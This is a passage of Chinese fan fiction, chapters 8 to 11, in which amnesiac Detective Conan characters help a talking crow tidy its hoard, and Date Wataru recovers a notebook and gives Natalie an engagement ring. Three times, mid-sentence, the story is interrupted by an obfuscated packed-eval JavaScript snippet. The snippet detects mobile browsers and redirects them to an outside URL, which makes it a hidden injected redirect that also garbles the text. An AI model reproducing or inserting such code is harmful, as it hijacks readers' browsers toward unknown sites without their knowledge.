维森说:“哇啊!你从哪找来这么多个大块头的,安罗!除了摩可,我可从没有在森林里见过这么高的动物。” 摩可是一头成年的棕熊,也是居住在森林里最高大的动物之一。 安罗解释道:“我是在森林里的那条河边遇到他们的,他们被河水弄的失去了记忆。我在想会不会那条河里被加入了魔法药水。” “魔法药水!森林里只有我有魔法药水!你是想说,是我让这些大块头失忆的吗!” 说到这里,维森扇动起它的翅膀,看起来情绪非常激动。 安罗:“如果不是你,会不会是你的药水弄丢到河里去了?” “我从不会弄丢东西!” 维森更加激烈地抗议着说,它从树枝上一下子飞了起来,朝森林深处飞了过去。 “看吧!我的东西可都好好的放在这里,一个都没有少!” 降谷零等人跟着安罗走过一大片灌木,他拨开挡在眼前的藤蔓,看见前面的场景,顿时陷入了诡异的沉默之中。 只见六人不远处,有一间看上去已经荒废许久的小木屋坐落在丛生的杂草和灌木丛中,因为无人打理,小木屋用木头做成的墙上布满了苔藓和藤蔓,好多木头看起来已经腐朽。 但让大家沉默的不止如此,而是被堆放在这间小木屋周围的各种各样的东西。 首先最明显的是各种颜色的玻璃碎片,在阳光的照射下反射出各色的光,在这些玻璃碎片底下,乱七八糟的堆着各种各样的东西——笔、纸、本子、玩具车、碗、餐刀、化妆品、桌子…… 这些让六人眼熟无比的东西凌乱地堆在木屋外,在他们眼前堆成了一座高度都达到几人腰间的小山。 降谷零:这些东西从哪来的? 半长发青年:这样堆着真的不会弄丢东西吗? 安瑟:“维森,你真的该整理一下你家里的东西了!” 8. Chapter08 维森显然是一只非常喜欢收集各种东西的乌鸦。 安瑟抱怨道:“明明不久前我们才帮你收拾了屋子,但是你又把东西堆得乱糟糟的了!” 维森收拢翅膀站在树干上,挺起的胸脯被毛绒绒的、毛色发亮的黑色羽毛覆盖着,看上去就是一只非常健康的乌鸦。 它不以为意地说:“啊!不好看吗?” 安罗和安瑟齐齐摇头,安罗说:“不好看,而且这些东西都看上去很有趣,如果像这样乱糟糟的放在一块的话,就无法逐个欣赏它们了吧。” 维森是一只喜欢收集的乌鸦,它每天都会在森林的各种角落飞行,寻找着它没见过的感兴趣的东西,然后把这些东西叼回自己的小屋。 因为东西太多,维森一开始还会认真地整理一下,但渐渐的它看着越来越多的东西在地上堆成一座亮晶晶的山,觉得这样也不错的它就懒得去整理了。 不过。 维森歪着头,认真地想了一会儿,说:“安罗说的也对。” 它之前就在大家帮忙整理时从这堆里找到了一个非常喜欢的东西。 “不过我自己整理不过来。” 维森蹲在树干上,理直气壮地说。 “我们来帮忙吧?” 半长发青年仰起头,对树干上的乌鸦说,他非常自然地加入了三只小动物们的聊天中,他主动道:“我们这些‘大个子’整理起来超——级——轻松的,只要一小会儿就好了!” 当然,最主要的是,大家看起来都对这堆东西的来源很感兴趣的样子。 半长发青年不动声色地扫了一圈身边人的表情,他脸上带着轻快开朗的笑容,毫无阴霾。 堆在小木屋前的东西都没有比维森高大很多,想来这只乌鸦也叼不起比它大上几倍的东西,就只能捡一些零零碎碎的工具和玩具堆放起来。 “小心一点。” 身材高大的男人拿起捡起一块玻璃碎片,他关切地提醒身边的金发女性:“这里面混了很多玻璃碎片,你捡的时候小心不要被划伤了。” “好。” 金发女性点点头,她对男人笑了一下:“谢谢你。” 看着金发女性脸上腼腆但真切的笑容,男人摸了摸后脑勺,也露出了一个笑。 接下来两个人一起专心地分捡着地上的东西,男人其实很好奇那只叫维森的乌鸦是在哪里捡到这些东西的,在他还残留下来的常识记忆里,这些东西在他们六人原本的世界很常见,但在这个动物会说话、在森林自由生活的世界里,这些东西的出现反而有些不太寻常。 不过,男人并没有急着站出去。 在这短时间的相处中,虽然他始终都落在末尾,话也不多,但他却已经将一起同行的另外四人的性格都观察得差不多了。 名叫zero的青年比较谨慎,和他看起来以前很大概率认识的名叫hiro的青年则是一个话不多但细心的人。 剩下的两名青年,半长发紫眸的青年性格开朗外向,非常擅长与人以及会说话的动物们交流,他总是能非常自然地挑起话题,在它们毫无察觉的时候就从聊天中拿到了很多信息。 另一个卷发青年和对方恰好相反,不过他虽然话不多,从刚才的一幕看来,他是一名行动果决、不畏危险、且富有正义心的青年。 除此之外,大家虽然各有各的性格,但每个人都在以自己的方式搜集着这个世界的情报,就算他们现在的处境似乎很安全,但也没有一个人因此放松警惕,好像这对他们来说是一种已经习惯了的行为一样。 男人有种感觉,他们的职业可能并不简单。 不过,他们的真实身份这并不是目前的重点,男人知道,不用他站出去,他的同行人们就会主动去探寻真相。 这样想着,男人低头看了看自己。 他这个身高……对小动物们来说还是太高大了,压迫感太强,并不适合去担任交流沟通的那个人。 所以他还是待在后方,在必要时再给大家提供帮助吧。 男人认真地整理着地上堆成山的东西,他听见不远处半长发青年好奇的声音传了过来:“这些都是维森捡回来的吗?好厉害。” “没错!” 维森站在树枝上,闻言挺了挺胸前的羽毛,高兴地叫了一声:“这可是我一个一个自己运回来的,每一个都是我喜欢的东西!” 好多彩色的玻璃……卷发青年把这些玻璃碎片分捡到一起,捡起碎片下露出的一个笔记本,翻开看了看。 很可惜,这是一个全新的本子。 他把本子放在一边,再次挑走一部分玻璃碎片后,又从这堆东西里找到了一张皱巴巴的纸。 卷发青年展开这张纸,纸面上画着一幅画。 画里,一只戴着帽子的棕熊抱着手鼓坐在地面上,爪子正在拍打着鼓面。 背着吉他的黑脸猫、和弹着贝斯的小浣熊一左一右站在棕熊的身边。 除了这两只小家伙,棕熊宽大的肩膀上,小松鼠手里拿着口琴吹奏着,在小松鼠的旁边,还有一只眼熟的乌鸦一起蹲在棕熊的肩膀上。 没有乐器供它演奏,但它就是这支乐队唯一的听众。 这幅画绘画的笔触虽然很稚嫩,但就算如此,也能轻易看出四只动物吹奏乐曲时快乐的心情。 [赠——愿意为流浪乐队停留的旅者。] 歪歪扭扭的笔迹落在画的正下方,旁边还画着一个很简单的笑脸。 卷发青年看了一会儿,他的视线在棕熊身边那只背着吉他的黑脸猫上停了一会儿,突然转头看向了不远处同样在这堆东西里翻找着线索的降谷零。 降谷零刚从玻璃碎片里找出一本看起来有用的小册子递给诸伏景光,就感觉到背后传来一道视线。 他转头,看见正在盯着他的卷发青年,有点莫名其妙地问:“怎么?” “没事。”就是觉得你和画里的这只猫有点像。 直觉告诉他这句话说出来这个金毛绝对会炸,所以卷发青年什么也没说就收回了视线,他把手中的画递给了身边的半长发青年。 半长发青年接过来看了看,他举起这张纸面向树枝上的维森:“维森,这也是你捡到的吗?” 维森被半长发青年引起了注意力,它扇着翅膀飞了过来,悬停在半长发青年面前,盯着画看了一会儿后说:“这是我遇见的流浪乐队给我的纪念品。谢谢你们帮我找到了它。我还以为已经弄丢了呢。” 维森说完后,它飞到半长发青年的手边,用鸟喙轻轻地衔住了这张皱巴巴的纸。 半长发青年顺势松开了手,看着维森把那张纸叼走,再次飞到了树上。 维森把这张纸折叠了几下,暂时用爪子抓在了脚下。 安罗说:“珍惜的东西要收拾好啊!维森!” 维森嘀咕道:“我收拾好了,而且这些都是我珍惜的东西……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934720|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,安罗的兔耳朵都忍不住竖了起来,它用两只小爪子叉着腰,无奈地说:“这一点都没有收拾好,你都不记得你最珍惜的东西在哪里!” 安瑟:“没错没错!” “谁说的!” 维森飞到小木屋前的那堆东西里,用爪子和鸟喙不断刨开最上方的东西,在里面一边找着什么一边反驳安罗:“我记得我把最喜欢的几个东西都放在了里面……看!” 维森叼出了一块足足有他脑袋大小的粉色钻石。 “这是我在山上捡到的,最漂亮的一颗钻石!” 山上? 捕捉到了维森口中的这个词,低头看着手里的小册子的诸伏景光抬起头,眸中划过若有所思之色。 “真好看,而且不仅好看,这颗钻石真的很大啊!” 半长发青年赞叹完之后,又好奇地问道:“这些都是维森在山上捡的吗?” “大部分都是。” 半长发青年惊叹的赞美让维森高兴不已,颇有一种找到了知音的愉快,这让它升起了一些分享欲。 “我每天都会飞到上山去,看看有没有我喜欢的东西,除了这颗钻石,还有一个我也很喜欢。” 维森说着又开始在这堆东西里翻找起来,半长发青年见状,继续试探着问:“森林里找不到这些东西吗?” 维森:“没错,这些东西只会出现在山上。” 森林里的大家用的好用的工具,比如安罗家里的木床、筐子和小篮子,可都是它从山上捡到辛苦叼回来的呢! 也就是说,他们目前看到的所有疑似人造的物件,都是来自山上。 半长发青年摸了摸下巴。 其实他最想问的不是这个问题,之前安瑟说森林里会制作魔法药水的女巫被赶到了山上,下不了山,半长发青年原本以为那座山有什么玄机,导致进山的生物无法再出去,但维森却能在山上和森林之间来回。 总觉得这座山很重要,如果有机会的话……可以去山上转转。 别看他们一路走来都很顺利,也没有遇到什么危险,但一来找不到恢复记忆的办法、二来没有回家的路。 从维森看见他们时惊讶的表现来看,维森大概率不是造成他们如今现状的元凶。 所以,接下来他们要去哪里,才是正确的前进方向呢? “看。” 就在这时,维森翻找到了它想要的东西,它把东西叼起来在六人眼前晃了晃,嘴里含糊地说:“这也是我很喜欢的一个东西!” 六人的视线随之看了过去。 被维森叼在嘴里的是一个黑色皮质记事本。 从外形上看,这个记事本和普通的记事本没有什么区别。 但莫名的,正在和金发女性小声聊天的男人停了下来,他看着那个本子,总觉得很眼熟,而且……他好像忘记了什么很重要的事情。 安瑟:“啊!这是那个本子吧!我上次想要里面的那个环,你都不给我!” 是的,记事本并没有什么特别的地方,维森喜欢的,是夹在记事本里的那个东西。 维森打开了记事本,只见记事本的夹层里,夹着一枚小小的钻石戒指。 这枚戒指上的钻石远远比不上维森之前给大家看的那颗钻石大、也没有那颗钻石漂亮好看,但维森收藏它并不是因为亮晶晶的钻石,而是因为—— 这是一枚未送出去的求婚戒指。 9. Chapter09 记事本里记录着主人挑选戒指的心情、和决定送出戒指的时间,但从仍然夹在夹层里的戒指来看,不知道是因为什么原因,这枚戒指最终还是没有送出去。 维森把记事本合起来,他对安瑟说:“这是别人的求婚戒指,不可以给你。” 安瑟叹了口气,把脑袋放在安罗的头上蹭来蹭去,慢吞吞地抱怨:“你好固执。” 虽然是别人的东西,但是能被维森捡到,应该是已经不要了丢了的吧,那就想怎么用就怎么用都好吧。 而且如果是自己珍惜的东西,是不会弄丢的吧?就像它和安罗一样。 嗯……维森除外。 安瑟瞥了眼堆成山的东西,默默地在心里加了一句。 维森才不搭理安瑟的吐槽,在他心里记事本和戒指是一对的,不可以被分开。 除非…… “抱歉。维森。” 从头到尾一直没有说过话,只在默默帮忙整理东西的男人突然走了过来,他在维森面前蹲下,神色复杂地盯着被乌鸦叼在嘴里的记事本。 “我感觉……这好像是我的东西。” 伊达航的声音有些艰涩,在意识到记事本很眼熟的时候,他曾试图回忆起什么,但最终只能在阵阵头痛中无能为力地放弃。 虽然没有记忆,但他的潜意识在告诉他,那是他很重要的东西!重要到他会不顾一切地保护、珍视它…… 伊达航的视线紧盯着记事本,不知道是不是因为头痛的原因,恍惚间,他好像在记事本黑色的封面上看见了一个带血的指印。 以及,耳边传来的声音,那是—— “你还好吧?” 一只带着暖意的手轻轻地放在了伊达航的肩膀上,伊达航猛然回过神来,此时他的背上早已被一阵冷汗浸湿。 “没关系吗?” 注意到伊达航的不对劲,所有人都围了过来,金发女性看着他,神色难掩担忧。 “没关系。” 伊达航摇摇头,他对大家露出一个并不勉强的笑容:“我只是想起了一点记忆,所以有点头疼而已。” “你想起什么了?” 卷发青年问。 闻言,伊达航微不可察的顿了一瞬,然后他才说:“我想起这个记事本,确实应该是我弄丢的东西。” 其实,虽然回忆起的只是一些记忆碎片,但伊达航想起的,与其说是他弄丢记事本的过程,倒不如说,是他的死前场景。 是的,他好像已经死了。 为了捡夹着求婚戒指的记事本,被一辆车撞死了。 记忆的碎片这么告诉他,但现状又让他不解。 如果他死了,他现在为什么还活着? 虽然这话咋一听上去有点费解,但确实是伊达航目前最困惑的事情:他为什么会出现在这里。 这片森林、眼前的一切,如果他早已死亡——难道这是死后的世界吗? 可如果真的是这样……伊达航下意识转过头,金发女性仍然满脸担忧地看着他。 如果这里真的是死后的世界,难道大家都已经死了吗? - “你说这是你的东西?” 维森看了看眼前这个满脸严肃的大个子,对方就算是蹲着的,在一只小小的乌鸦眼中也依旧高大无比。 就算是山上的那群大家伙,和这六个家伙比起来也小巧多了。 维森在心里嘀咕了一句,它跳着往后退了几步,后来干脆直接叼着嘴里的记事本重新飞到了树上。 “我可以把记事本给你。” 闻言,大家都有些意外。 来之前安瑟说维森是一只小气且喜欢刁难他人的乌鸦,大家原本已经做好了充足的心理准备,来应对可能出现的各种难题。 但目前看来,这只是一只喜欢收集、喜欢亮晶晶的东西、又有些小懒惰的小乌鸦。 伊达航问:“我需要做什么吗?” 维森说:“如果你能证明你是记事本的主人,我就可以把记事本还给你。” 小乌鸦站在树干上,自然地说:“因为这是你的东西,物归原主是应该的。” “不过,你要给我证据哦!” 幸好伊达航刚才回想起了一些记忆,于是他立刻道:“记事本开头应该有写我的名字,伊达航。” “没错!” 确认记事本真的是伊达航的之后,维森很爽快地就把本子还给了伊达航,它飞到高大的男人面前,将爪子里抓着的记事本放在了伊达航手里。 “下次可不要再弄丢了哦。” “……” 还会有下次、还会有未来吗? 他不知道,也想不明白。 也许…… 伊达航翻开记事本,从最开始一页一页看到最后,记事本里记录着很多零零碎碎的信息,虽然不能让他完全想起来,但伊达航从记事本的文字里推测出,他以前应该是一名警察。 然后就是,“娜塔莉。” 伊达航转头看向身边的金发女性,他拿出夹层里的那枚戒指,将这枚戒指轻轻放在了对方手里。 “这是……?” “有时候确实应该听听直觉的话吧。” 伊达航露出一个自认为爽朗的笑容,不过还是忍不住移了移视线。 他用沉稳、郑重的声音说:“这是给你的戒指。” “之前没能送出去,现在我想送给你。” 伊达航转过头,神色认真地说。 他已经错过一次了,不管他现在是否还活着,他只想要珍惜现在,他想要、把这枚戒指亲手送给她——他的爱人。 - 娜塔莉低头看向手里的戒指。 她和伊达航一起从河里醒来,从这之后的一路,他们都走在一起,虽然两人都没有记忆,但他们好像都还记得该如何与对方相处。 她很清楚,她对面前这个人的感情并不始于从河里醒来看见对方的那一刻,而是在更早更早以前…… 就像明明还不确定他们之间的关系,但此刻,伊达航就是这样郑重地将这枚失而复得的戒指交到了她的手里。 伊达君、航君说的对,有时候确实应该听听直觉的话。 娜塔莉握紧了这枚戒指,她抬起头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934721|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对伊达航露出一个笑容,郑重地说:“我会好好保存的。” 伊达航高兴地笑了起来:“那就好。” 这样,不管如何,他也不会有遗憾了。 - “为什么不直接戴上去?” 伊达航和娜塔莉两人原本还在对视着,一个卷发脑袋不知道从什么地方冒了出来,伴随着他那单纯无比的声音传入两人耳中,立刻让伊达航和娜塔莉瞬间一个激灵。 两个人动作飞快,一左一右地移开了视线,一个红了耳廓、一个捂了捂脸。 “对呀,如果是娜塔莉小姐戴上的话,一定很好看!” 卷发青年抱在怀里的盆子里,蓝色的小蘑菇也用高兴的语气说着,它的声音让两个人的视线分得更开了。 “啊,不好意思。” 半长发青年连忙走过去,捂着卷发青年的嘴把人拖走了,他无视了卷发青年“唔唔”挣扎的动静,对伊达航和娜塔莉不好意思地说:“你们继续,他……他们没谈过恋爱。” 面对小蘑菇,青年也不知该如何下手,只能竖起一根手指抵在唇边,轻轻地对蘑菇“嘘”了一声:“我们就不要打扰伊达先生和娜塔莉小姐了,好吗?” 蘑菇是一朵很善良的蘑菇,在半长发青年提醒后就乖乖地不说话了,伞盖上下摇晃了一下,好像在点头一样。 不过,和蘑菇的安静截然相反的,是正在努力逃出“魔爪”的卷发青年。 “唔、唔唔!” 卷发青年伸出一只手拍打着半长发青年的手臂,靛青色的眼眸凶狠地抬起,盯着身边的人。 快给我放开!你这家伙! 还有,谁说我没谈过恋爱!万一我谈过呢! 半长发青年低头看了他一眼,顺从地松开了手,不过心里却忍不住暗自想到:你这个表现,哪里像是谈过恋爱的人啊…… “真是很会破坏气氛啊,那个家伙。” 不远处,看着那只卷毛被半长发青年拖走,降谷零抱起手臂,露出一个无语的半月眼。 在看见伊达航把戒指给娜塔莉的时候,降谷零心里原本非常的触动,他也不知道为什么自己会有如此强烈的情绪,而且除了高兴和祝福,他心里还有一种说不清道不明的怅然。 降谷零原本还在分析情绪的来源,卷发青年突然来这一出,直接把现场的气氛破坏得一干二净,他自己也没了之前的感觉。 诸伏景光“嗯”了一声:“不过,伊达君能找回丢失的东西,还借此契机想起了一些记忆,真是一个好消息呢。” “嗯……” 降谷零应了一声,他看了眼正在收好记事本和戒指的伊达航和娜塔莉,又转头去看地上那堆还没有整理完毕的东西。 虽然之前的情绪消失得无影无踪,无法再探寻,但另一方面,降谷零又有了其他的疑问:看起来伊达航之前是把他的记事本弄丢了,那么问题来了,为什么记事本会出现在这个世界? 是只有伊达航的记事本出现在这个世界吗?还是……他们其他人的也在? 想到这里,降谷零在这一堆亮晶晶的东西前再次蹲了下来。 10.Chapter10 失而复得的喜悦过去之后,六个人继续帮忙整理着小木屋外堆的这些东西,大概半个小时左右,在六个人加一兔一蛇的帮忙下,他们终于把所有东西都分门别类地整理好了。 “蹡蹡!” 半长发青年挪开身体,身后挡着的、由无数大大小小、五颜六色的玻璃碎片堆成的玻璃山露了出来。 透过树木的缝隙,阳光从高处照射下落,在玻璃上反射并衍射出色彩缤纷的光晕。 是亮晶晶的、闪着光的、五颜六色的玻璃山! “好漂亮!谢谢你们!” 维森飞到玻璃山上空,从各个角度来回观察着这座美丽的山体,高兴地说。 “嗯——” 半长发青年伸了一个懒腰,叉着腰转头去看那边正在研究其他东西的几人,他们六个人不仅把玻璃碎片单独分了出来,还把其他东西也分门别类了一下。 大概是因为受限于体型,维森一只小乌鸦叼不起太重太大的东西,被分出来的东西们都很小巧,不过这些东西的大小却也正好方便了动物们的使用…… 但是,总感觉有些太巧合了。 半长发青年漫不经心地想着,他走到正蹲在一排玩具车面前的卷发青年身边,看着青年认真研究手里玩具车的专注的侧脸,他也在对方身边一起蹲了下来。 整理的时候六个人其实或多或少都有注意过自己是否对某个东西产生熟悉的感觉,但很遗憾,除了那个记事本,这堆东西应该都和以前的他们没有关系。 “你喜欢这个吗?” 半长发青年的视线在一排玩具车上转了一圈,他拿起一个有些眼熟的车型,一边在手里把玩着翻看一边随口问道。 “不,我想把它拆了。” 卷发青年的回答有些出乎半长发青年的意料,原来是喜欢拆东西吗? “而且,我觉得这个车不太对劲。” 卷发青年皱着眉说:“以玩具车的标准来说,这个模型做的有点太细节了。” 闻言,半长发青年看向自己手里的玩具车,他把它举起来检查了一遍,眉头微皱,神色逐渐认真了起来。 确实,玩具车模型归根结底只是模型而已,除非是最贵那种的模型,一般的玩具是不会把真车所有的特征都一比一复制下来的。 但这些玩具车,不管是车的外表还是车上的每一个零件,都做得和真车一模一样,完全看不见玩具车劣质的边角痕迹。 而且,最关键的一点是—— “材质。” 半长发青年用指腹摩挲过玩具车的每一处,他轻声说:“这些玩具车用的材质,和真车完全一样。” 卷发青年点头:“没错。” 这些玩具车简直就像是真车等比例缩小变成的,如果放几个小人进去,估计都能像开真车一样把这些玩具车开起来。 发现这一点后,卷发青年就有点想把车拆开来,验证一下自己的猜测。 不过。 卷发青年把玩具车放回了地面上。 这毕竟是别人的东西。 而且他们来到维森这里的目的可不是研究玩具车与真车的差别,而是他们的记忆怎么恢复、又怎么回到自己的世界。 “呼——终于整理完了。” 同样也帮忙整理了不少东西的安罗呼出一口气。 “安罗快来休息一会儿!” 安瑟用尾巴拽着放在旁边的小篮子拖到了坐在树下休息的安罗身边,又用尾巴从篮子里卷出了它们提前做好的浆果三明治,递给了安罗。 “谢谢安瑟。正好我也饿了!” 安罗接过三明治吃了一口,它看见不远处蹲在一起、非常显眼的六个人,还记得今天是来帮这些大家伙找维森询问失忆的原因的。 于是,它对正站在小木屋屋顶上欣赏玻璃山的维森说:“维森,现在东西收拾完了,你快看看有没有被你弄丢的魔法药水!” “我才不会弄丢东西!” 维森说着,一边飞到了小木屋已经坏掉的木门前,用鸟喙顶开摇摇欲坠的木门飞了进去。 “……” 看见这一幕的六人:所以,原来维森并没有把魔法药水放在外面的这堆东西里,而是放在了小木屋里面吗? 难怪他们整理的时候没有看见类似药水的东西。 啊呀。 半长发青年托着脸。 给一只小乌鸦当了免费的劳动力呢。 卷发青年眯起眼,一字一句地说:“所以,其实一开始就能告诉我们结果的对吧?” 卷发青年怀里的蘑菇附和着说:“维森!坏乌鸦!” 安瑟连连点头:“没错!这只乌鸦懒死了!”自己的东西不自己收拾,还要让他们给它当免费劳动力。 “你改变看法了吗?” 远处,靠在树干上休息的降谷零和站在他旁边的诸伏景光将发生的一切都收入了眼中。 “啊,稍微有一点吧。” 降谷零对诸伏景光微微点头,其实他无时无刻不都在观察、分析着这个世界、这里的动物,还有除他之外的其他人。 他的大脑好像已经习惯了这种运行模式,一刻也停不下来。 不过降谷零不觉得自己这样有什么不好的,他想拿回丢失的记忆、也想尽快回到自己的世界,这里的事物对他来说都只是不重要的过客。 降谷零捏着下巴,一边思考一边说:“大家都有自己的性格,并不是刻板、统一的……”因为不知道这些动物的听觉有多敏锐,他还非常谨慎的用了指代词。 诸伏景光安静地听着他的话,同时转头注视着青年专注认真的侧脸。 在青年说完后,他点了点头,道:“不过这还无法完全证明这个世界的真实性,zero是这么想的吧?” 降谷零确实是这么想的。 虽然他没有表现出来,但他心里其实一直在审视这个世界的真实性。 他们怎么来到这里的,这个世界到底真实与否,其实也是一个很重要的问题。 动物会说话有很多种可能性,但归根结底可以分类为两种。 一,他们穿越了,来到了一个动物会说话的世界。 二,他们没有穿越,而是因为某种暂时无法解释的科学仪器,他们的意识陷入了一个别人制造的世界中。 对于降谷零来说,更科学、更符合他认知的其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938829|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二个可能性。 可如果是这样…… 降谷零垂着头,一语不发。 “你们两个。” 一朵青蓝色的蘑菇从金发青年的视野里冒了出来,然后卷发青年那张脸像之前一样出现在了降谷零和诸伏景光中间。 “聊什么呢?” 你们知道你们两个人的表情和气息都和现在这里的气氛完全格格不入吗? 降谷零往后仰了仰身体,他瞥了一眼卷发青年和他手里抱着的随身盆栽小蘑菇,抽了抽嘴角。 为什么他一开始会觉得这是个洞察力极强、成熟敏锐的家伙? 明明就是个看不懂气氛、直来直往的卷毛笨蛋。 成熟的,也就只有他这张脸吧? “我怎么觉得。” 卷发青年靛青色的眼眸盯着降谷零看了一会儿,忽然狐疑地说:“你是不是在心里骂我?” 降谷零:“……” 他面不改色地否认了:“我不是那种性格,请不要污蔑我,谢谢。” 虽然降谷零否认得很快,但他看着眼前卷发青年脸上的表情,就知道对方没相信自己的话——估计是对方那个所谓的直觉在作祟。 ……这人的直觉确实也太强了一点。 “啊!快看!” 维森从小木屋里飞了出来,他对大家说:“我就说了吧!我没有弄丢魔法药水!” “是吗。” 安罗对维森的话没有一点怀疑,它苦恼地说:“那zero他们究竟是怎么回事呢?为什么会失忆呢?” 维森:“我也不知道,啊!你们是在什么地方捡到这些大个子的?” 安罗把情况向维森一一道来,不远处,听见它们交流的卷发青年和降谷零、诸伏景光对视了一眼。 然后,卷发青年低头看向了自己怀里抱着的蘑菇盆。 他伸出一根手指,隔着虚空,轻轻地点了一下蘑菇的伞盖。 “蘑菇,我能问一个问题吗?” 蘑菇:“好呀,大个子你说。” 诸伏景光和降谷零听见卷发青年对蘑菇问道:“你之前明明那么担心安瑟伤害安罗,为什么在安瑟保证之后就一点也不担心了?”不怕安瑟是在说谎吗? 卷发青年问出的正是他们现在非常困惑的问题:不仅是蘑菇轻易就相信了安瑟的话,现在安罗也一点都不犹豫地就相信了维森的话。 从刚才发生的事也能看出来,从性格上来说,维森这只有些懒惰的小乌鸦,不是没有因为害怕处理麻烦而撒谎的可能性。 当然,这只是降谷零根据人性做出的推理,如果这个世界还有其他与他本来世界所不同的差异,他的推理也有可能是错误的。 卷发青年现在对蘑菇问出的问题,和蘑菇接下来的回答,就是他想知道的“差异”。 蘑菇:“因为安瑟已经保证了啊!它没有撒谎。” 卷发青年:“你怎么知道它没有撒谎?” 蘑菇:“对了,你们失忆了!所以不知道。” “如果撒谎的话,鼻子会变得很长很长哦!” 等等,撒谎鼻子会变长,这不是童话故事匹诺曹里面的剧情吗? 11.Chapter11 “原来是这样,如果撒谎的话,鼻子会变长。” 卷发青年语气平淡地复述着蘑菇的话。 与此同时,降谷零和诸伏景光对视了一眼。 诸伏景光想了想,问身边的金发青年:“zero,你信了吗?” 降谷零看着诸伏景光的眼睛,点头,认真地说:“我信了。” 他没有信。 但是,诸伏景光和卷发青年齐齐把视线落在了他的鼻子上——没有变长。 是因为他们原本不是这个世界的人,所以这个世界的规则对他们不起作用吗? 还是说,蘑菇在骗他们? 蘑菇不知道他们在想什么,它还在非常热心地给失忆的、可怜的三个大个子补充他们遗忘的知识:“我听我的长辈们说,山上的狐狸就是靠着长长的鼻子过河的呢!” 卷发青年:? 狐狸用鼻子过河,怎么听起来这么奇怪?狐狸用鼻子过河? 他试图想象出狐狸用鼻子过河的场景,发现——完全无法想象出来。 超纲了。 “你好笨啊,大个子。” 蘑菇理所当然地说:“只要把鼻子插入河中央,把自己翘起来,就可以翘到河对岸了啊!” 卷发青年:…… 这和他笨不笨有什么关系?这个办法真的是人能想出来的吗? 降谷零和诸伏景光也陷入了诡异的沉默之中。 刚走过来的另外三人:用鼻子把自己翘起来过河?这是什么操作? 卷发青年诚恳地问:“虽然撒谎可以让鼻子变长,但这样过河的话,那只狐狸的鼻子不会痛吗?” 蘑菇想了一会儿,说:“我也不知道,也许狐狸的鼻子很硬?大个子可以试一试!” 卷发青年十分果断地拒绝了:“等我要过河的时候我再去试试吧。” 才怪,他会直接游过去。 一直说谎把鼻子变长然后用鼻子当杠杆把自己翘到河对岸这种事,他是绝对不会做的! 而且刚才那个zero金毛也试过了,他们撒谎鼻子是不会变长的。 “原来是这样啊。” 半长发青年和伊达航娜塔莉三人也算是明白了,为什么小动物们都对彼此的话深信不疑了。 半长发青年看了一眼靠在树干下的降谷零和诸伏景光,降谷零朝他微不可察地摇头。 青年看了眼其他人的鼻子:没有变长呢。 说起来最开始的时候他好像也下意识的撒谎过了。 所以,这个世界的规则对他们不起作用吗? “先不说这个了。” 伊达航说:“我们接下来要怎么办?” 维森的魔法药水一个也没丢,它看上去也是第一次看见他们。 那到底是谁让他们出现在这个世界的?他们又要怎么去寻找对方,回到自己本来的世界? 六个人站在树下,齐齐沉默了下来。 “喂。” 安瑟从远处游走了过来。 “你们很着急吗?” 墨色的蛇在枯死的树墩上盘成一圈黑色的蚊香圈,从中间探出一颗蛇头,墨色的眼珠看着他们。 “没错。” 降谷零微微点头,他低头看向安瑟,想了想,干脆在地上席地坐了下来,平视着对方。 “我们离开家里很久了,家人现在应该很担心我们,但我们现在没有记忆,也不知道怎么回家……” 说着,青年微微低头,金色的发丝从脸颊边垂落了下来,任何一个人看着此时的他,都能感觉到青年现在的不安和失落。 “安瑟,安罗,维森,能不能麻烦你们,再想想还有没有其他的办法,让我们恢复记忆?” 在一旁看见这一幕的卷发青年,差点不小心松开了抱着蘑菇盆的手:小看这个金毛了,竟然还有两副面孔。 卷发青年和金发青年从最开始相遇到现在,青年除了之前和自己吵起来的时候脸上很明显的露出了不满的情绪,其他时候,这个人的情绪和想法好像永远都隐藏在心里,脸上永远都带着成熟冷静的面具。 虽然现在也是面具,但是和之前的面具反差也太大了一点。 这小子是干什么的?怎么说换脸就换脸? “嗯……” 听了降谷零的话,想一想如果自己失去记忆又离开了家,找不到回家的路……就算眼前的大个子再高大,安瑟也不由带上了同情的心情。 它端正地盘在树墩上,尾巴尖有规律地拍打着陷入了思考之中。 还有什么办法呢? “安罗,我们想办法再帮帮他们吧!” 安罗想了想说:“可是我们不知道他们是怎么失忆的、也不知道他们住在哪……” 没有一个人知道的事情,要问谁才能得到答案呢? “对了!” 安罗:“如果你们真的很想找到回家的路的话……你们也许可以试一试,到山顶去。” 山顶? 